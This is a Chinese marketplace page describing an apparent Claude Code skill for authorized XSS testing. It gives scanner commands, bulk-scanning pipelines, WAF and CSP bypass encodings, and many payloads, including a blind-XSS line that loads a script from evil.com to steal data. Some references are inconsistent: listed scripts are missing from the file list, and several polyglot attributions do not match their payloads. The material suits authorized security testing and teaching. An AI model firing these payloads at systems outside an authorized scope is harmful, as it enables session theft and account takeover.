mcpField
E
exploit-xss

exploit-xss

github.com/crazymarky安全34976 次安装21 周前更新
代码仓库

关于 exploit-xss

exploit-xss 是面向获授权安全测试的 XSS 检测 Skill,供安全测试人员检查 Web 应用的输入点与客户端行为。它汇集多种扫描器及脚本,涵盖反射型、存储型、DOM 等测试场景,并强调必须取得授权。

主要功能

  1. 01测试 URL、POST、Cookie 和请求头
  2. 02检测反射型、存储型及 DOM XSS
  3. 03分析注入上下文并生成载荷
  4. 04测试 WAF、CSP 与框架相关问题
  5. 05支持批量扫描和盲测

适用场景

  1. 01在授权范围内检查表单与参数
  2. 02排查客户端 DOM 注入风险
  3. 03评估 CSP 或 WAF 相关绕过可能
  4. 04对多条目标 URL 进行 XSS 检测

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/crazymarky/pentest-skills --skill exploit-xss

安装后在 Claude Code 中输入/exploit-xss确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

assets/
attribute_xss_payloads.txt
blind_xss_payloads.txt
common_xss_payloads.txt
csp_bypass_payloads.txt
dom_xss_payloads.txt
framework_xss_payloads.txt
modern_browser_xss_payloads.txt
mutation_xss_payloads.txt
mxss_payloads.txt
polyglot_xss_payloads.txt
svg_xss_payloads.txt
waf_bypass_payloads.txt
websocket_xss_payloads.txt
xss_context_patterns.txt
references/
csp_bypass_guide.md
dalfox_guide.md
dom_xss_guide.md
framework_xss_guide.md
mutation_xss_guide.md
svg_xss_guide.md
websocket_xss_guide.md
xspear_guide.md
xss_payload_techniques.md
xsstrike_guide.md
scripts/
blind_xss_tester.py
csp_detector.py
framework_xss_tester.py
mutation_xss_tester.py
mxss_detector.py
svg_xss_tester.py

详细介绍

跨站脚本(XSS)检测技能

⚠️ 危险 - 需要授权

此技能仅用于经授权的安全测试。

你必须具备:

  • 目标系统所有者的书面许可
  • 测试目标的合法授权
  • 明确的测试范围

未经授权进行 XSS 测试属于违法且不道德的行为。


前置条件

必需工具
# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike

# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest

# XSpear - XSS testing with WAF bypass
gem install xspear
Python 要求
# Install required Python packages for built-in scripts
pip install requests beautifulsoup4

# Optional: WebSocket XSS testing
pip install websockets
可选工具
# Burp Suite for manual testing
# OWASP ZAP for automated scanning

快速入门

基本 URL 测试
# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"

# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"
POST 请求测试
# Save POST request to file
dalfox file request.txt

# Or use XSStrike
python xsstrike.py -r request.txt
DOM XSS 测试
# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom

# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --dom

常见场景

1. 基本参数测试(反射型 XSS)

测试 URL 参数是否存在反射和注入:

# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"

# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"

# Specify parameter
dalfox url "https://target.com/search" -p q

检查内容:

  • 输入是否会反射到 HTML 响应中?
  • 所处的上下文是什么(HTML 标签、属性、JavaScript)?
  • 是否应用了过滤或编码?
2. POST 请求 XSS(表单测试)

测试 POST 表单是否存在存储型或反射型 XSS:

# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=test&password=test' > post_request.txt

# Test with XSStrike
python xsstrike.py -r post_request.txt

# Test with Dalfox
dalfox file post_request.txt

常见 POST 测试目标:

  • 登录表单(用户名、电子邮件字段)
  • 联系表单(姓名、消息字段)
  • 搜索表单
  • 评论表单
  • 用户个人资料更新
3. Cookie 和标头 XSS

测试 HTTP 标头和 Cookie 是否存在注入:

# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"

# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"

# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"

要测试的标头:

  • User-Agent(检查应用日志/错误页面)
  • Referer(检查 404 页面、分析数据)
  • X-Forwarded-For(检查 IP 反射)
  • Cookie(检查欢迎消息/日志)
4. 反射型 XSS 检测

识别反射点并测试载荷:

# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery

# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"

# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blind

检测方法:

  • 比较带载荷和不带载荷时的响应长度
  • 在响应 HTML 中搜索载荷
  • 检查编码/过滤模式
  • 识别 HTML 上下文(标签、属性、JS、CSS)
5. 存储型 XSS 测试(数据库持久化)

测试是否存在会持久保存在数据库中的 XSS:

# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net

# Test user profile fields
python xsstrike.py -r profile_update_request.txt

# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&[email protected]&message=payload"

存储型 XSS 测试目标:

  • 用户个人资料(姓名、简介、所在地)
  • 评论/评价
  • 论坛帖子
  • 电子邮件/联系表单(管理面板 XSS)
  • 文件上传元数据
6. DOM XSS 发现

查找客户端 XSS 漏洞:

# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom

# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom

# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"

常见 DOM 来源:

  • location.hash
  • location.search
  • document.cookie
  • document.referrer
  • window.name

常见 DOM 接收端:

  • innerHTML
  • document.write()
  • eval()
  • location.href
  • setTimeout() / setInterval()
7. 表单中的盲 XSS(联系/管理端 XSS)

测试会在管理面板中执行的表单 XSS:

# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"

# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net

# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"

盲 XSS 测试提示:

  • 每次测试使用唯一载荷(以识别存在漏洞的参数)
  • 使用 Burp Collaborator 或 interactsh 进行回连
  • 测试电子邮件联系表单(管理员打开邮件时会执行)
  • 测试支持工单系统
8. 上下文感知载荷

使用适用于注入上下文的载荷:

# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"

# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url

特定上下文的载荷:

HTML 正文/标签:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

HTML 属性:

" onmouseover=alert('XSS')
javascript:alert('XSS')

JavaScript:

';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script>

CSS/样式:

</style><script>alert('XSS')</script>
expression(alert('XSS'))
9. WAF 绕过技术

规避 Web 应用防火墙:

# Generate WAF bypass payloads
scripts/xss_payload_generator.py --waf-bypass

# Use XSpear with bypass mode
xspear -u "https://target.com/search?q=test" --bypass

# Test various encodings
python xsstrike.py -u "https://target.com/search?q=test" --encode

绕过技术:

  • URL 编码:%3Cscript%3Ealert(1)%3C/script%3E
  • 双重编码:%253Cscript%253E
  • Unicode 编码:\u003Cscript\u003E
  • HTML 实体:&lt;script&gt;alert(1)&lt;/script&gt;
  • 混合大小写:<ScRiPt>alert(1)</sCrIpT>
  • 注入注释:<script>alert(1)</script>
  • 注入制表符/换行符:<script\t>alert(1)</script>
10. 自动扫描(批量测试)

扫描多个 URL/参数:

# Scan from file
dalfox file urls.txt

# Pipe from other tools
cat urls.txt | dalfox pipe

# XSStrike with multiple targets
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done

# Combine with subdomain enumeration
subfinder example.com | httpx | dalfox pipe
11. 载荷编码变体

使用不同编码方案进行测试:

# URL encode payloads
scripts/xss_payload_generator.py --encode url

# HTML encode
scripts/xss_payload_generator.py --encode html

# Hex encode
scripts/xss_payload_generator.py --encode hex

# Test with XSStrike encoding
python xsstrike.py -u "https://target.com" --encode

要测试的常见编码:

  1. 纯文本:<script>alert(1)</script>
  2. URL 编码:%3Cscript%3Ealert(1)%3C/script%3E
  3. 双重 URL 编码:%253Cscript%253E
  4. HTML 实体:&lt;script&gt;alert(1)&lt;/script&gt;
  5. 十六进制:\x3Cscript\x3Ealert(1)\x3C/script\x3E
  6. Unicode:\u003Cscript\u003Ealert(1)\u003C/script\u003E
12. 多态载荷

使用可在多种上下文中生效的载荷进行测试:

# Generate polyglot payloads
scripts/xss_payload_generator.py --polyglot

# Common polyglot payload
# Works in: HTML, HTML attribute, JavaScript string, etc.
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

著名的多态载荷:

# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E

# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
13. CSP 检测与绕过

内容安全策略分析与绕过测试:

# Detect and analyze CSP
python scripts/csp_detector.py https://target.com

# Generate bypass report
python scripts/csp_detector.py https://target.com --bypass

# Full CSP analysis
python scripts/csp_detector.py https://target.com --verbose

常见 CSP 绕过技术:

  • unsafe-inline - 允许内联脚本
  • unsafe-eval - 允许使用 eval()、setTimeout()
  • data: URL - 通过 data URI 执行内联脚本
  • 通配符来源 - 允许任意域名
  • 基于 nonce 的绕过
  • 特定框架的绕过方法

详细技术请参阅 references/csp_bypass_guide.md。

14. 特定框架的 XSS

测试 Angular、React、Vue 和其他框架中的漏洞:

# Auto-detect frameworks
python scripts/framework_xss_tester.py --url https://target.com --detect

# Test Angular XSS
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular

# Test React XSS
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react

# Test Vue XSS
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue

常见框架攻击向量:

  • Angular:{{constructor.constructor('alert(1)')()}}
  • React:dangerouslySetInnerHTML
  • Vue:v-html 指令
  • jQuery:.html() 操作

详细技术请参阅 references/framework_xss_guide.md。

15. SVG 文件上传 XSS

测试文件上传中基于 SVG 的 XSS:

# Generate SVG payloads
python scripts/svg_xss_tester.py --generate --variant file_upload

# Test SVG injection
python scripts/svg_xss_tester.py --url https://target.com --param content

# Test SVG file upload
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar

# Create exploit SVG
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com

SVG XSS 攻击向量:

  • <svg onload="alert('XSS')">
  • <svg><script>alert('XSS')</script></svg>
  • <svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>

详细技术请参阅 references/svg_xss_guide.md。

16. 变异 XSS(mXSS)

测试基于 HTML 变异的 XSS:

# Test all mutation types
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all

# Test DOM clobbering
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber

# Test attribute mutations
python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute

变异 XSS 攻击向量:

  • 实体解码变异:&lt; → <
  • 标签解析变异:<xmp>、<listing>
  • DOM 覆盖:<a id="location">
  • 命名空间变异:SVG/MathML

详细技术请参阅 references/mutation_xss_guide.md。

17. WebSocket XSS

测试 WebSocket 连接中的 XSS 漏洞:

# Scan URL for WebSocket endpoints
python scripts/websocket_xss_tester.py --url https://target.com

# Test specific WebSocket URL
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws

# Test DOM injection via WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom

# Test stored XSS in WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored

# Test with custom payload
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'

WebSocket XSS 攻击向量:

  • 消息反射:ws.send('<script>alert(1)</script>')
  • JSON 注入:{"message": "<img src=x onerror=alert(1)>"}
  • 事件处理程序:ws.send('alert(1);')
  • 属性破坏:" onmouseover=alert(1)

详细技术请参阅 references/websocket_xss_guide.md。


工具选择指南

场景推荐工具命令
快速参数测试Dalfoxdalfox url "https://target.com?param=test"
使用 DOM 进行深度扫描XSStrikepython xsstrike.py -u "URL" --dom
WAF 绕过测试XSpearxspear -u "URL" --bypass
存储型/盲 XSSDalfox + Callbackdalfox file req.txt --blind CALLBACK
手动测试XSStrikepython xsstrike.py -r request.txt
批量扫描Dalfox 管道模式cat urls.txt | dalfox pipe
CSP 分析CSP Detectorpython scripts/csp_detector.py URL
框架 XSSFramework Testerpython scripts/framework_xss_tester.py -u URL -p param
SVG XSSSVG Testerpython scripts/svg_xss_tester.py -u URL -p param
变异 XSSMutation Testerpython scripts/mutation_xss_tester.py -u URL -p param
WebSocket XSSWebSocket Testerpython scripts/websocket_xss_tester.py -u URL
全面扫描Full Scannerpython scripts/xss_full_scan.py -u URL --all

工具对比:

特性XSStrikeDalfoxXSpear内置脚本
速度中快中不定
DOM XSS优秀良好有限良好
WAF 绕过良好良好优秀良好
管道模式否是否否
盲 XSS是是是是
CSP 分析否否否是
框架测试否否否是
SVG 测试否否否是
变异 XSS否否否是
WebSocket XSS否否否是

测试清单

侦察阶段
  • 识别所有输入点(URL 参数、表单、标头、Cookie)
  • 梳理应用的功能
  • 识别数据存储位置
反射型 XSS 测试
  • 测试所有 URL 参数
  • 测试所有表单字段(GET/POST)
  • 测试 HTTP 标头(UA、Referer、Cookie)
  • 确定反射上下文
  • 测试特定上下文的有效载荷
存储型 XSS 测试
  • 测试所有表单提交
  • 测试文件上传元数据
  • 测试用户个人资料字段
  • 测试评论/评价
  • 验证跨会话持久性
  • 测试在不同用户上下文中的执行情况
DOM XSS 测试
  • 识别所有 DOM 源
  • 跟踪数据流向接收点
  • 测试基于哈希的注入
  • 测试基于 URL 参数的注入
  • 测试 localStorage/sessionStorage
高级测试
  • 测试 WAF 绕过技术
  • 测试编码变体
  • 测试多态负载
  • 执行盲 XSS 测试
  • 测试 CSP 绕过
  • 测试框架特定的 XSS(Angular/React/Vue)
  • 测试 SVG 文件上传 XSS
  • 测试变异 XSS(DOM 劫持)
  • 测试 HTTP 响应头注入
  • 测试 WebSocket XSS(如适用)

场景:持久化存储 XSS 发现

当你需要将 XSS 发现持久化到数据库时:

# Manual entry after discovering XSS
python .claude/skills/exploit-xss/scripts/xss_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/search?q=test" \
  --xss-type reflected \
  --payload "<script>alert(1)</script>" \
  --context html_body \
  --severity High \
  --subsystem "Web Application"

参数:

  • --host-ip - 目标主机 IP(必填)
  • --url - 存在漏洞的 URL(必填)
  • --xss-type - XSS 类型:反射型、存储型或 DOM 型(必填)
  • --payload - 使用的负载(必填)
  • --context - XSS 上下文:html_body、html_attribute、javascript、dom、url(默认值:html_body)
  • --severity - 严重级别(默认值:Medium)
  • --subsystem - 子系统名称(可选)
  • --parameter - 存在漏洞的参数名称
  • --title - 漏洞标题(未指定时自动生成)
  • --description - 漏洞描述
  • --cvss-score - CVSS 评分(0.0-10.0)

数据库位置: ./data/results.db

相关技能: results-storage - 查询数据、生成报告


资源

脚本
  • scripts/xss_payload_generator.py - 为各种上下文生成 XSS 负载
  • scripts/xss_tester.py - 自动化 XSS 测试框架
  • scripts/xss_context_analyzer.py - 分析注入上下文
  • scripts/blind_xss_tester.py - 测试存储型/盲 XSS
  • scripts/csp_detector.py - CSP 分析和绕过测试
  • scripts/svg_xss_tester.py - SVG 文件上传 XSS 测试
  • scripts/framework_xss_tester.py - Angular/React/Vue XSS 测试
  • scripts/mutation_xss_tester.py - 变异 XSS/DOM 劫持测试
  • scripts/websocket_xss_tester.py - WebSocket XSS 测试
  • scripts/mxss_detector.py - HTML 解析器变异 XSS 检测
  • scripts/xss_full_scan.py - 集成式 XSS 测试自动化
参考文档
  • references/dalfox_guide.md - Dalfox 完整指南
  • references/xsstrike_guide.md - XSStrike 完整指南
  • references/xspear_guide.md - XSpear 完整指南
  • references/xss_payload_techniques.md - XSS 负载技术
  • references/dom_xss_guide.md - DOM XSS 测试指南
  • references/csp_bypass_guide.md - CSP 绕过技术
  • references/framework_xss_guide.md - 框架特定的 XSS 指南
  • references/svg_xss_guide.md - SVG XSS 测试指南
  • references/mutation_xss_guide.md - 变异 XSS/DOM 劫持指南
  • references/websocket_xss_guide.md - WebSocket XSS 测试指南
资源/词表
  • assets/common_xss_payloads.txt - 基础 XSS 负载
  • assets/attribute_xss_payloads.txt - 属性上下文负载
  • assets/dom_xss_payloads.txt - DOM XSS 负载
  • assets/blind_xss_payloads.txt - 带回调的盲 XSS 负载
  • assets/polyglot_xss_payloads.txt - 多上下文负载
  • assets/waf_bypass_payloads.txt - WAF 规避负载
  • assets/csp_bypass_payloads.txt - CSP 绕过负载
  • assets/framework_xss_payloads.txt - Angular/React/Vue 负载
  • assets/svg_xss_payloads.txt - SVG XSS 负载
  • assets/mutation_xss_payloads.txt - 变异 XSS 负载
  • assets/websocket_xss_payloads.txt - WebSocket XSS 负载
外部资源

常见响应与故障排查

“未发现 XSS”
  • 尝试不同的载荷编码方式
  • 启用 DOM 扫描器进行测试
  • 检查是否有 WAF 拦截
  • 使用盲 XSS 载荷进行测试
  • 确认该参数确实会反射输入
“载荷已反射,但未执行”
  • 使用上下文分析器分析上下文
  • 使用特定于上下文的载荷
  • 检查 CSP(内容安全策略)
  • 检查输入是否经过清理
  • 尝试其他标签/事件处理程序
“403 / WAF 已拦截”
  • 使用 WAF 绕过载荷
  • 尝试不同的编码方法
  • 使用 XSpear 和 --bypass 标志
  • 先使用较小的载荷进行测试
  • 尝试其他注入点

报告格式

报告 XSS 漏洞时,请包含:

╔═══════════════════════════════════════════════════════╗
║              XSS Vulnerability Report                 ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search                     ║
║ Type: Reflected XSS                                   ║
║ Severity: High                                        ║
╚═══════════════════════════════════════════════════════╝

Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')

Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')

Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website

Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functions

评论

支持 Markdown